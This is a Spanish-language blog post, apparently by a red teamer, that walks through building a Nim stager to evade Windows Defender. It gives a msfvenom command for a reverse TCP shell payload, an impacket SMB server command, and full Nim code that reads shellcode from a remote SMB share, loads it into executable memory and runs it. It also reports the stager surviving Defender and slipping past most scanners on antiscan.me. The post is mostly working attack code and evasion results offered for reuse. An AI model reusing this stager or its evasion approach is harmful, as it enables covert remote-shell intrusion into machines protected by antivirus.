Desarrollo de etapa de SMB en Nim

Nov 24 2022
Hola compañeros Red Teamers. Recientemente comencé a ponerme en contacto con Nim para la codificación ofensiva.

Hola compañeros Red Teamers. Recientemente comencé a ponerme en contacto con Nim para la codificación ofensiva. Para ser honesto, lo encuentro difícil y extraño, ¡pero FUNCIONA!

En la actualidad, estamos desarrollando un controlador de etapas SMB simple, sin pasar por Windows Defender en el momento de la prueba.

Si prefiere ver un video en lugar de leer, puede encontrar el video completo aquí:https://youtu.be/qq-S2syksL0

Además, si está interesado en unirse a Discord abierto para compartir conocimientos y experiencia en ciberseguridad, siéntase bienvenido:https://discord.gg/dWCe5ZMvtQ

Vamos

La teoría es bastante simple, la idea es evitar escribir el shellcode en el archivo, evitando la detección basada en firmas, mientras ayuda también con la heurística. Inicialmente intenté descargar el shellcode con HTTP, pero encontré muchos problemas que no pude resolver por mí mismo. Entonces la metodología cambió ligeramente. En lugar de descargarlo de HTTP, la carga útil se alojará en el recurso compartido de SMB y se leerá directamente desde allí.

Utilicé la carga útil sin etapas de msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Lo primero es lo primero, debemos importar la biblioteca del kernel de Windows, lo que nos permite invocar las API de Windows:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

¡Tiempo de prueba!

Realicé 2 pruebas. El primero es contra Windows 10 Client con Defender UP and RUNNING. El segundo es contra la interfaz antiscan.me.

Nim Stager frente a Windows Defender

La prueba 1 comienza colocando el escenario en el sistema de archivos. Hasta ahora no se activa nada, lo que significa que evitamos con éxito la detección basada en firmas. Ahora corramos y observemos:

El escenario resultó funcionar bien, y lo extraño aquí es que se logró activar Defender, pero esto no eliminó el caparazón:

Tuve este shell ejecutándose durante un montón de minutos y fue completamente funcional. Personalmente, no tengo ni idea de por qué el defensor no lo mató, si sabes la respuesta, te agradecería que la compartieras.

Nim Stager contra Antiscanme

No me malinterpreten, antiscanme es excelente, pero cuando se prueban etapas, en realidad no tienen una forma de presentar resultados válidos. Los resultados que ve se basan sólidamente en la detección basada en firmas, ya que no tienen la posibilidad de descargar el shellcode real en la red. Espero que más proveedores de AV lo detecten en pruebas reales, pero es un buen "primer paso".

Después de cargar el escenario, solo 4/26 proveedores pudieron capturarlo.

Creo que el desencadenante se basa en que los proveedores leen las llamadas a las API de Windows, por lo que lo consideran malicioso. Por supuesto, para probar exactamente qué salió mal, necesitaría realizar muchas, muchas pruebas. Esa es mi teoría por el momento.

Conclusión

Jugar con Nim es divertido y los resultados que logramos simplemente escenificando cosas son increíbles. Por supuesto, existen técnicas de desvío de AV mucho más avanzadas que podemos realizar, pero lo haremos en el futuro. Espero que encuentres ese contenido útil y hayas aprendido algo nuevo.